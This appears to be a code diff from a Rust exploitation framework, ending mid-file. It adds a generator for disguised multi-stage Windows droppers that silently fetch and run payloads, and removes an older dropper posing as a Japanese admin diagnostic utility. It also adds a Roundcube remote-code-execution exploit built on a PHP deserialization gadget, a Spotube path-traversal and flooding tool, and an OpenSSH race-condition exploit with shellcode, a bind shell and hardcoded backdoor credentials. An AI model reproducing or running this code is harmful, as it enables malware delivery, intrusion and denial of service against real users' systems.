+    tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
+        random_sleep_hi = random_sleep_hi,
+        random_sleep_lo = random_sleep_lo,
+    ));
+    let decoys = shuffled_decoys();
+    for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
+        let url = decoy_urls[i];
+        tpl.push_str(&format!(
+            "echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
+            url = url, decoy_name = decoy_name
+        ));
+    }
+    let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
+    tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
+    for line in stage2_content.lines() {
+        tpl.push_str(&format!("    echo {} \n", line.replace("%", "%%")));
+    }
+    tpl.push_str(&format!(
+        ") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
+        rand_vars[23], rand_vars[23]
+    ));
+    tpl
+}
+
+/// // Prompt user, fallback to default if empty input
+fn prompt(msg: &str, default: Option<&str>) -> String {
+    let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
+    print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
+    io::stdout().flush().unwrap();
+    let mut input = String::new();
+    io::stdin().read_line(&mut input).unwrap();
+    let value = input.trim();
+    if value.is_empty() {
+        default.unwrap_or("").to_string()
+    } else {
+        value.to_string()
+    }
+}
+
+/// // == RouterSploit-style async entry point ==
+pub async fn run(_target: &str) -> Result<()> {
+    print_welcome_naruto();
+    let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
+    let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
+    let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
+    let stage2_name = rand_var_name("stg2");
+    let stage3_name = rand_var_name("stg3");
+    let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
+    let decoy_urls = vec![
+        "https://www.example.com/readme.txt",
+        "https://www.example.com/license.txt",
+        "https://www.example.com/update.pdf",
+    ];
+    let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
+    let mut file = TokioFile::create(&out_name).await?;
+    file.write_all(script.as_bytes()).await?;
+    file.flush().await?;
+    println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
+    Ok(())
+}

src/modules/exploits/payloadgens/payloadgenbat.rs

@@ -1,133 +0,0 @@
-//! Build a two‑stage prank/diagnostic BAT script with stealth download & run.
-//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
-
-use anyhow::{Context, Result};
-use std::fs;
-use std::io::{self, Write};
-
-/// Read a trimmed line from stdin
-fn prompt(msg: &str) -> Result<String> {
-    print!("{msg}");
-    io::stdout().flush().ok();
-    let mut buf = String::new();
-    io::stdin().read_line(&mut buf)?;
-    Ok(buf.trim().to_owned())
-}
-
-/// Build the BAT contents (injecting URL & PS1 filename)
-fn build_script(url: &str, ps1_name: &str) -> String {
-    // Template with placeholders {{URL}} and {{OUTFILE}}
-    let tpl = r#"@echo off
-setlocal enabledelayedexpansion
-title [管理者診断ユーティリティ]
-color 0A
-
-echo =====================================================
-echo           管理者用ネットワーク／システム診断ユーティリティ
-echo =====================================================
-echo [+] 初期化中...
-timeout /t 2 >nul
-
-:: Fake diagnostic functions
-echo [INFO] ネットワークスタック確認中...
-netsh winsock show catalog >nul
-echo [INFO] システムリソースの照会...
-fsutil behavior query DisableDeleteNotify >nul
-echo [INFO] DCOM設定の確認...
-dcomcnfg /32 >nul
-timeout /t 1 >nul
-
-echo [INFO] ユーザーアクティビティを確認中...
-wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
-timeout /t 1 >nul
-
-echo [INFO] 不審な接続をスキャン中...
-netstat -bno >nul
-route print >nul
-timeout /t 1 >nul
-
-echo [INFO] システムサービス確認中...
-sc queryex type= service >nul
-timeout /t 1 >nul
-
-echo [INFO] WMI チェック中...
-wmic logicaldisk get caption,filesystem,freespace,size >nul
-timeout /t 1 >nul
-
-:: 50x random sub-sleeps
-echo [*] 詳細検証を実行中... (50 ステップ)
-for /l %%i in (1,1,50) do (
-    set /a delay=(%%RANDOM%% %% 60) + 120
-    powershell -Command "Start-Sleep -Milliseconds !delay!"
-)
-
-:: Random delay before launching stage 2
-set /a mainDelay=(%%RANDOM%% %% 4) + 3
-echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
-timeout /t %%mainDelay%% >nul
-
-:: Build second stage BAT (stage2.bat)
-set "stage2=%%~dp0stage2.bat"
-(
-    echo @echo off
-    echo setlocal enabledelayedexpansion
-    echo title 補助診断モジュール
-    echo echo [*] ネットワークテストを再実行中...
-    echo ping -n 2 1.1.1.1 ^>nul
-    echo tracert -h 2 8.8.8.8
-    echo ipconfig /flushdns
-    echo timeout /t 2 ^>nul
-    echo echo [*] ランダム遅延を実行中...
-    echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
-    echo timeout /t !delay2! ^>nul
-    echo echo [*] GitHub からモジュールを取得中...
-    echo set "url={{URL}}"
-    echo set "outfile=%%~dp0{{OUTFILE}}"
-    echo powershell -Command ^
-        "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
-        "try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
-        "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
-    echo timeout /t 2 ^>nul
-    echo echo [*] ステルス起動用VBSを生成中...
-    echo ^(
-    echo Set shell = CreateObject("WScript.Shell"^)
-    echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
-    echo ^) ^> "%%~dp0launch_hidden.vbs"
-    echo timeout /t 1 ^>nul
-    echo echo [*] スクリプト実行中...
-    echo cscript //nologo "%%~dp0launch_hidden.vbs"
-    echo echo [*] 補助診断完了。
-) > "%%stage2%%"
-
-:: Random delay before running stage 2
-set /a rdelay=(%%RANDOM%% %% 5) + 2
-echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
-timeout /t %%rdelay%% >nul
-
-:: Run stage2
-call "%%stage2%%"
-
-echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
-pause
-exit
-"#;
-
-    tpl.replace("{{URL}}", url)
-        .replace("{{OUTFILE}}", ps1_name)
-}
-
-/// Public entry point for the exploit dispatcher
-pub async fn run(_target: &str) -> Result<()> {
-    // === Gather inputs ====================================================
-    let out_bat  = prompt("[+] Output BAT filename        : ")?;
-    let raw_url  = prompt("[+] GitHub raw .EXE URL         : ")?;
-    let ps1_name = prompt("[+] Disguised PowerShell name   : ")?;
-
-    // === Generate script ===================================================
-    let script = build_script(&raw_url, &ps1_name);
-    fs::write(&out_bat, script)
-        .with_context(|| format!("Could not write {}", out_bat))?;
-
-    println!("\n[+] Batch script saved to: {out_bat}");
-    Ok(())
-}

src/modules/exploits/roundcube/mod.rs

@@ -0,0 +1 @@
+pub mod roundcube_postauth_rce;

src/modules/exploits/roundcube/roundcube_postauth_rce.rs

@@ -0,0 +1,215 @@
+use anyhow::{anyhow, Result};
+use data_encoding::BASE32_NOPAD;
+use md5;
+use rand::Rng;
+use base64::Engine as _;
+use regex::Regex;
+use reqwest::{Client, cookie::Jar, redirect::Policy};
+use std::io::{self, Write};
+use std::sync::Arc;
+use std::time::{SystemTime, UNIX_EPOCH};
+use rand::distr::Alphanumeric;
+/// // Decode base64 constant for small transparent PNG
+fn transparent_png() -> Vec<u8> {
+    const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
+    base64::engine::general_purpose::STANDARD
+        .decode(PNG_B64)
+        .unwrap_or_default()
+}
+
+/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
+fn build_serialized_payload(cmd: &str) -> String {
+    let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
+    let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
+    let len = gpgconf.len();
+    format!(
+        "|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
+        len, gpgconf
+    )
+}
+
+fn generate_from() -> &'static str {
+    const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
+    let idx = rand::rng().random_range(0..OPTIONS.len());
+    OPTIONS[idx]
+}
+
+fn generate_id() -> String {
+    let mut rand_bytes = [0u8; 8];
+    rand::rng().fill(&mut rand_bytes);
+    let timestamp = SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .unwrap()
+        .as_nanos()
+        .to_string();
+    format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
+}
+
+fn generate_uploadid() -> String {
+    let millis = SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .unwrap()
+        .as_millis();
+    format!("upload{}", millis)
+}
+
+async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
+    let mut url = reqwest::Url::parse(base)?;
+    url.query_pairs_mut().append_pair("_task", "login");
+
+    let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
+    if res.status() != 200 {
+        return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
+    }
+    Ok(res.text().await?)
+}
+
+async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
+    let body = fetch_login_page(client, base).await?;
+    let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
+    if let Some(cap) = re.captures(&body) {
+        Ok(cap[1].to_string())
+    } else {
+        Err(anyhow!("CSRF token not found"))
+    }
+}
+
+async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
+    let body = fetch_login_page(client, base).await?;
+    let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
+    if let Some(cap) = re.captures(&body) {
+        Ok(cap[1].parse().ok())
+    } else {
+        Ok(None)
+    }
+}
+
+async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
+    let token = fetch_csrf_token(client, base).await?;
+    let mut url = reqwest::Url::parse(base)?;
+    url.query_pairs_mut().append_pair("_task", "login");
+
+    let mut params = vec![
+        ("_token", token),
+        ("_task", "login".to_string()),
+        ("_action", "login".to_string()),
+        ("_url", "_task=login".to_string()),
+        ("_user", username.to_string()),
+        ("_pass", password.to_string()),
+    ];
+    if !host.is_empty() {
+        params.push(("_host", host.to_string()));
+    }
+
+    let res = client
+        .post(url)
+        .form(&params)
+        .send()
+        .await
+        .map_err(|e| anyhow!("Login request failed: {e}"))?;
+
+    if res.status() != 302 {
+        return Err(anyhow!("Login failed: HTTP {}", res.status()));
+    }
+    Ok(())
+}
+
+async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
+    let png = transparent_png();
+    let boundary: String = rand::rng()
+        .sample_iter(&Alphanumeric)
+        .take(8)
+        .map(char::from)
+        .collect();
+
+    let mut body = Vec::new();
+    body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
+    body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
+    body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
+    body.extend_from_slice(&png);
+    body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
+
+    let mut url = reqwest::Url::parse(base)?;
+    url.set_query(None);
+    url.query_pairs_mut()
+        .append_pair("_task", "settings")
+        .append_pair("_remote", "1")
+        .append_pair("_from", &format!("edit-!{}", generate_from()))
+        .append_pair("_id", &generate_id())
+        .append_pair("_uploadid", &generate_uploadid())
+        .append_pair("_action", "upload");
+
+    client
+        .post(url)
+        .header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
+        .body(body)
+        .send()
+        .await
+        .map_err(|e| anyhow!("Upload request failed: {e}"))?;
+
+    println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
+    Ok(())
+}
+
+/// // Entry point for dispatcher
+pub async fn run(target: &str) -> Result<()> {
+    let mut base_url = target.trim().to_string();
+    if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
+        base_url = format!("http://{}", base_url);
+    }
+    base_url = base_url.trim_end_matches('/').to_string();
+
+    // // HTTP client with cookies and no redirects
+    let jar = Jar::default();
+    let client = Client::builder()
+        .cookie_provider(Arc::new(jar))
+        .redirect(Policy::none())
+        .danger_accept_invalid_certs(true)
+        .timeout(std::time::Duration::from_secs(10))
+        .build()?;
+
+    if let Some(ver) = check_version(&client, &base_url).await? {
+        println!("[*] Detected Roundcube version: {}", ver);
+        if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
+            println!("[!] Version appears vulnerable!");
+        } else {
+            println!("[-] Version not in known vulnerable range.");
+        }
+    } else {
+        println!("[?] Could not determine version.");
+    }
+
+    let mut username = String::new();
+    let mut password = String::new();
+    let mut host = String::new();
+    let mut command = String::new();
+
+    print!("Username: ");
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut username)?;
+
+    print!("Password: ");
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut password)?;
+
+    print!("Host parameter (optional): ");
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut host)?;
+
+    print!("Command to execute: ");
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut command)?;
+
+    let username = username.trim();
+    let password = password.trim();
+    let host = host.trim();
+    let command = command.trim();
+
+    if username.is_empty() || password.is_empty() || command.is_empty() {
+        return Err(anyhow!("Username, password and command must be provided"));
+    }
+
+    login(&client, &base_url, username, password, host).await?;
+    let serialized = build_serialized_payload(command);
+    upload_payload(&client, &base_url, &serialized).await
+}

src/modules/exploits/spotube/mod.rs

@@ -0,0 +1 @@
+pub mod spotube;

src/modules/exploits/spotube/spotube.rs

@@ -0,0 +1,232 @@
+//// src/modules/exploits/spotube/spotube_remote.rs
+//// src/modules/exploits/spotube/spotube.rs
+//// made by me suicidal teddy my first ever zero day exploit
+//// no auth when you use api and can be excuted locally
+//// src/modules/exploits/spotube/spotube.rs
+use anyhow::{Context, Result};
+use colored::*;
+use futures_util::{SinkExt, StreamExt};
+use reqwest::Client;
+use serde_json::json;
+use std::collections::HashMap;
+use std::io::{self, Write};
+use tokio::time::{sleep, Duration};
+use tokio_tungstenite::connect_async;
+use tokio_tungstenite::tungstenite::Message;
+
+// //// // Custom headers to emulate BurpSuite-style browser requests
+fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
+    let mut headers = HashMap::new();
+    headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
+    headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
+    headers.insert(
+        "User-Agent".into(),
+        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
+         (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
+            .into(),
+    );
+    headers.insert(
+        "Accept".into(),
+        "text/html,application/xhtml+xml,application/xml;q=0.9,\
+        image/avif,image/webp,image/apng,*/*;q=0.8,\
+        application/signed-exchange;v=b3;q=0.7"
+            .into(),
+    );
+    headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
+    headers.insert("Connection".into(), "keep-alive".into());
+    headers.insert("Host".into(), format!("{}:{}", host, port));
+    headers
+}
+
+// //// // Sends the GET request to the Spotube endpoint with custom headers
+async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .timeout(std::time::Duration::from_secs(5))
+        .build()
+        .context("Failed to build HTTP client")?;
+
+    let url = format!("http://{}:{}{}", host, port, path);
+    let headers = browser_headers(host, port);
+
+    let mut request = client.get(&url);
+    for (key, value) in headers {
+        request = request.header(&key, &value);
+    }
+
+    let response = request.send().await.context("Request failed")?;
+    let status = response.status();
+    let body = response.text().await.unwrap_or_default();
+
+    println!(
+        "{} → {} {}",
+        path,
+        status.as_u16(),
+        status.canonical_reason().unwrap_or("Unknown")
+    );
+    println!("{}", body.trim());
+
+    Ok(())
+}
+
+// //// // Sends a malicious 'load' event over WS with a track name containing ../
+async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
+    // prompt for malicious filename
+    print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
+    io::stdout().flush()?;
+    let mut name = String::new();
+    io::stdin().read_line(&mut name)?;
+    let malicious_name = {
+        let t = name.trim();
+        if t.is_empty() { "../evil.sh" } else { t }
+    };
+
+    // prompt for fake track ID
+    print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
+    io::stdout().flush()?;
+    let mut tid = String::new();
+    io::stdin().read_line(&mut tid)?;
+    let track_id = {
+        let t = tid.trim();
+        if t.is_empty() { "INJECT1" } else { t }
+    };
+
+    // prompt for codec extension
+    print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
+    io::stdout().flush()?;
+    let mut cd = String::new();
+    io::stdin().read_line(&mut cd)?;
+    let codec = {
+        let t = cd.trim();
+        if t.is_empty() { "mp3" } else { t }
+    };
+
+    let payload = json!({
+        "type": "load",
+        "data": {
+            "tracks": [
+                {
+                    "name": malicious_name,
+                    "artists": { "asString": "" },
+                    "sourceInfo": { "id": track_id },
+                    "codec": { "name": codec }
+                }
+            ]
+        }
+    });
+
+    let ws_url = format!("ws://{}:{}/ws", host, port);
+    println!("Connecting to {} …", ws_url);
+
+    let (ws_stream, _) = connect_async(&ws_url)
+        .await
+        .context("WebSocket connection failed")?;
+    let (mut write, _) = ws_stream.split();
+
+    let msg_text = payload.to_string();
+    write
+        .send(Message::Text(msg_text.clone().into()))
+        .await
+        .context("Failed to send WebSocket message")?;
+
+    println!("▶️  Malicious load payload sent:");
+    println!("{}", serde_json::to_string_pretty(&payload)?);
+
+    Ok(())
+}
+
+// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
+async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
+    println!("⚠️  Flooding {} {} times (delay {}s)…", path, count, delay);
+    for _ in 0..count {
+        let _ = execute(host, port, path).await;
+        if delay > 0.0 {
+            sleep(Duration::from_secs_f64(delay)).await;
+        }
+    }
+    println!("🔥  Done flood.");
+    Ok(())
+}
+
+// //// // CLI menu that mimics the original Python script, now with WS and DoS
+pub async fn run(target: &str) -> Result<()> {
+    println!("⚙️  Spotube Advanced Exploit CLI\n");
+
+    let host = target.to_string(); // use target passed from set command
+
+    // //// // port prompt (optional override)
+    print!("{}", "Enter port [17086]: ".cyan().bold());
+    io::stdout().flush()?;
+    let mut p = String::new();
+    io::stdin().read_line(&mut p)?;
+    let port = {
+        let t = p.trim();
+        if t.is_empty() { "17086".to_string() } else { t.to_string() }
+    };
+
+    loop {
+        println!("\n=== Menu ===");
+        println!("1. Ping server");
+        println!("2. Next track");
+        println!("3. Previous track");
+        println!("4. Toggle play/pause");
+        println!("5. Inject path-traversal via WS");
+        println!("6. Flood HTTP endpoint (DoS)");
+        println!("7. Exit");
+
+        print!("Choose an option: ");
+        io::stdout().flush()?;
+        let mut choice = String::new();
+        io::stdin().read_line(&mut choice)?;
+        match choice.trim() {
+            "1" => {
+                println!("\n▶️  Ping server …");
+                let _ = execute(&host, &port, "/ping").await;
+            }
+            "2" => {
+                println!("\n▶️  Next track …");
+                let _ = execute(&host, &port, "/playback/next").await;
+            }
+            "3" => {
+                println!("\n▶️  Previous track …");
+                let _ = execute(&host, &port, "/playback/previous").await;
+            }
+            "4" => {
+                println!("\n▶️  Toggle play/pause …");
+                let _ = execute(&host, &port, "/playback/toggle-playback").await;
+            }
+            "5" => {
+                ws_inject_path_traversal(&host, &port).await?;
+            }
+            "6" => {
+                // //// // flood prompts
+                print!("Endpoint to flood (e.g. /playback/next): ");
+                io::stdout().flush()?;
+                let mut path = String::new();
+                io::stdin().read_line(&mut path)?;
+                let path = path.trim();
+
+                print!("Number of requests [100]: ");
+                io::stdout().flush()?;
+                let mut cnt = String::new();
+                io::stdin().read_line(&mut cnt)?;
+                let count = cnt.trim().parse().unwrap_or(100);
+
+                print!("Delay between requests (s) [0]: ");
+                io::stdout().flush()?;
+                let mut dly = String::new();
+                io::stdin().read_line(&mut dly)?;
+                let delay = dly.trim().parse().unwrap_or(0.0);
+
+                dos_flood(&host, &port, path, count, delay).await?;
+            }
+            "7" => {
+                println!("👋  Goodbye!");
+                break;
+            }
+            _ => println!("❌  Invalid choice, try again."),
+        }
+    }
+
+    Ok(())
+}

src/modules/exploits/ssh/mod.rs

@@ -0,0 +1 @@
+pub mod opensshserver_9_8p1race_condition;

src/modules/exploits/ssh/opensshserver_9_8p1race_condition.rs

@@ -0,0 +1,435 @@
+use std::io::{self, ErrorKind, Write};
+use std::sync::Arc;
+use anyhow::{Result, bail, Context};
+use colored::*;
+use tokio::io::{AsyncReadExt, AsyncWriteExt};
+use tokio::net::TcpStream;
+use tokio::time::{sleep, timeout, Duration, Instant};
+use tokio::sync::Semaphore;
+use futures_util::stream::{FuturesUnordered, StreamExt};
+
+const MAX_PACKET_SIZE: usize = 256 * 1024;
+const LOGIN_GRACE_TIME: f64 = 120.0;
+const CHUNK_ALIGN: usize = 16;
+const CONCURRENCY: usize = 256;
+
+const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
+const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
+const GLIBC_STEP: u64 = 0x200000;
+
+const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
+const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
+
+const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
+
+const BIND_SHELL_PORT: u16 = 55555;
+const PERSISTENT_USER: &str = "aptpwn";
+const PERSISTENT_PASS: &str = "Root4life!";
+
+fn chunk_align(s: usize) -> usize {
+    (s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
+}
+
+fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
+    buf.fill(0);
+    let len = buf.len();
+    if len >= 16 {
+        buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
+        buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
+    }
+    if len > 0x30 + 8 {
+        buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
+    }
+}
+
+fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
+    packet.fill(0);
+    packet[..8].copy_from_slice(b"ssh-rsa ");
+    let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
+    if shell_offset + SHELLCODE.len() <= packet.len() {
+        packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
+    }
+    for i in 0..27 {
+        let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
+        if pos + chunk_align(304) <= packet.len() {
+            create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
+        }
+    }
+}
+
+async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
+    let len = data.len() + 5;
+    let mut packet_data = vec![0u8; len];
+    packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
+    packet_data[4] = packet_type;
+    packet_data[5..].copy_from_slice(data);
+    stream.write_all(&packet_data).await?;
+    Ok(())
+}
+
+fn normalize_target(ip: &str, port: u16) -> Result<String> {
+    let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
+    if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
+        Ok(format!("[{}]:{}", ip_trimmed, port))
+    } else {
+        Ok(format!("{}:{}", ip_trimmed, port))
+    }
+}
+
+async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
+    println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
+    let (mut rd, mut wr) = tokio::io::split(conn);
+    let mut stdin = tokio::io::stdin();
+    let mut stdout = tokio::io::stdout();
+
+    let reader = tokio::spawn(async move {
+        let mut buf = [0u8; 4096];
+        loop {
+            match rd.read(&mut buf).await {
+                Ok(0) => break,
+                Ok(n) => {
+                    if stdout.write_all(&buf[..n]).await.is_err() { break; }
+                    if stdout.flush().await.is_err() { break; }
+                }
+                Err(_) => break,
+            }
+        }
+    });
+
+    let writer = tokio::spawn(async move {
+        let mut buf = [0u8; 4096];
+        loop {
+            match stdin.read(&mut buf).await {
+                Ok(0) => break,
+                Ok(n) => {
+                    if wr.write_all(&buf[..n]).await.is_err() { break; }
+                    if wr.flush().await.is_err() { break; }
+                }
+                Err(_) => break,
+            }
+        }
+    });
+
+    let _ = tokio::try_join!(reader, writer);
+    println!("{}", "[*] Shell session ended.".yellow());
+    Ok(())
+}
+
+async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
+    let addr = normalize_target(ip, port)?;
+    let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
+    Ok(stream)
+}
+
+async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
+    stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
+    Ok(())
+}
+
+async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
+    loop {
+        match stream.read(buf).await {
+            Ok(n) if n > 0 => return Ok(n),
+            Ok(0) => bail!("Connection closed while receiving data"),
+            Ok(_) => bail!("Unexpected read result"),
+            Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
+                sleep(Duration::from_millis(10)).await;
+                continue;
+            }
+            Err(e) => return Err(e.into()),
+        }
+    }
+}
+
+async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
+    let mut buffer = [0u8; 256];
+    recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
+    Ok(())
+}
+
+async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
+    let payload = vec![0u8; 36];
+    send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
+}
+
+async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
+    let mut buffer = [0u8; 1024];
+    recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
+    Ok(())
+}
+
+async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
+    send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
+    receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
+    send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
+    receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
+    Ok(())
+}
+
+async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
+    for i in 0..10 {
+        let tcache_chunk = vec![b'A'; 64];
+        send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
+    }
+    for i in 0..27 {
+        let large_hole = vec![b'B'; 8192];
+        let small_hole = vec![b'C'; 320];
+        send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
+        send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
+    }
+    for i in 0..27 {
+        let mut fake = vec![0u8; 4096];
+        create_fake_file_structure(&mut fake, glibc_base);
+        send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
+    }
+    let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
+    send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
+    Ok(())
+}
+
+async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
+    let error_packet_data = if error_type == 1 {
+        b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
+    } else {
+        b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
+    };
+    let start = Instant::now();
+    send_packet(stream, 50, &error_packet_data).await?;
+    let mut buf = [0u8; 1024];
+    let _ = stream.read(&mut buf).await;
+    Ok(start.elapsed().as_secs_f64())
+}
+
+async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
+    let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
+    let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
+    Ok(t2 - t1)
+}
+
+async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
+    let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
+    create_public_key_packet(&mut public_key_packet_data, glibc_base);
+    stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
+
+    let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
+    if calculated_wait_time < 0.0 {
+        println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
+    }
